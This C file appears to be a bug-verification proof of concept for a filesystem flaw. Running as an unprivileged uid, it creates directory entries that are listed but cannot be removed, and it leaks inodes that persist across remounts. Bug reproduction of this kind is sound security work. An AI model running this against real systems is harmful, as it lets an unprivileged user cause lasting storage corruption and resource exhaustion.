/*
 * DF-3111 recheck — after unmount+remount (dirents flushed to disk,
 * namecache cold): durable manifestation of the wrapped key_end.
 *   stat(nameA)   -> OK      (first chain element at K)
 *   stat(nameB)   -> ENOENT  (record at K+1: hammer_btree_iterate rejects
 *                             chain elements past the wrapped key_end)
 *   unlink(nameB) -> ENOENT  -> permanently unremovable, across remounts
 *   readdir lists nameB      -> phantom entry
 *   each O_CREAT leaks another unremovable dirent+inode (K+2, K+3, ...)
 * Runs as uid 65534.
 */
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
#include <dirent.h>
#include "solver.h"

static int count_dirents(const char *name, int len)
{
    DIR *d = opendir(".");
    struct dirent *de;
    int cnt = 0;
    if (!d)
        return -1;
    while ((de = readdir(d)) != NULL)
        if (de->d_namlen == len && memcmp(de->d_name, name, len) == 0)
            cnt++;
    closedir(d);
    return cnt;
}

int main(int argc, char **argv)
{
    char nameA[16], nameB[16];
    int lenA, lenB;
    int64_t key;
    struct stat st;
    int rc, cnt, i, fd;
    const char *dir = argc > 1 ? argv[1] : "/mnt/t";

    if (df_find_pair(nameA, &lenA, nameB, &lenB, &key) < 0)
        return 1;
    if (setgid(65534) || setuid(65534)) {
        perror("setuid/setgid");
        return 1;
    }
    printf("[after remount, uid=%d, dir=%s]\n", getuid(), dir);
    df_pr_name("nameA", nameA, lenA, key);
    df_pr_name("nameB", nameB, lenB, key);
    if (chdir(dir)) { perror("chdir"); return 1; }

    rc = lstat(nameA, &st);
    printf("persist stat   nameA : %s\n", rc == 0 ? "OK" : strerror(errno));

    rc = lstat(nameB, &st);
    printf("persist stat   nameB : %s%s\n", rc == 0 ? "OK" : strerror(errno),
           (rc < 0 && errno == ENOENT) ? "   <-- POISONED (dirent exists on disk)" : "");

    cnt = count_dirents(nameB, lenB);
    printf("persist readdir nameB: %d%s\n", cnt,
           cnt > 0 ? "   <-- listed but unfindable" : "");

    rc = unlink(nameB);
    printf("persist unlink nameB : %s%s\n", rc == 0 ? "OK" : strerror(errno),
           (rc < 0 && errno == ENOENT) ? "   <-- UNREMOVABLE" : "");

    {
        int cnt2;
        for (i = 0; i < 5; i++) {
            fd = open(nameB, O_CREAT | O_WRONLY, 0644);
            if (fd >= 0) close(fd);
        }
        cnt2 = count_dirents(nameB, lenB);
        printf("after 5 re-creates   : readdir nameB cnt = %d (was %d)%s\n",
               cnt2, cnt,
               cnt2 > cnt ? "   <-- LEAK: one more unremovable dirent+inode each" : "");
        printf("PERSIST_%s LEAK_%s\n",
               (lstat(nameB, &st) < 0 && errno == ENOENT && cnt > 0)
                   ? "CONFIRMED" : "UNCLEAR",
               cnt2 > cnt ? "CONFIRMED" : "UNCLEAR");
    }
    return 0;
}
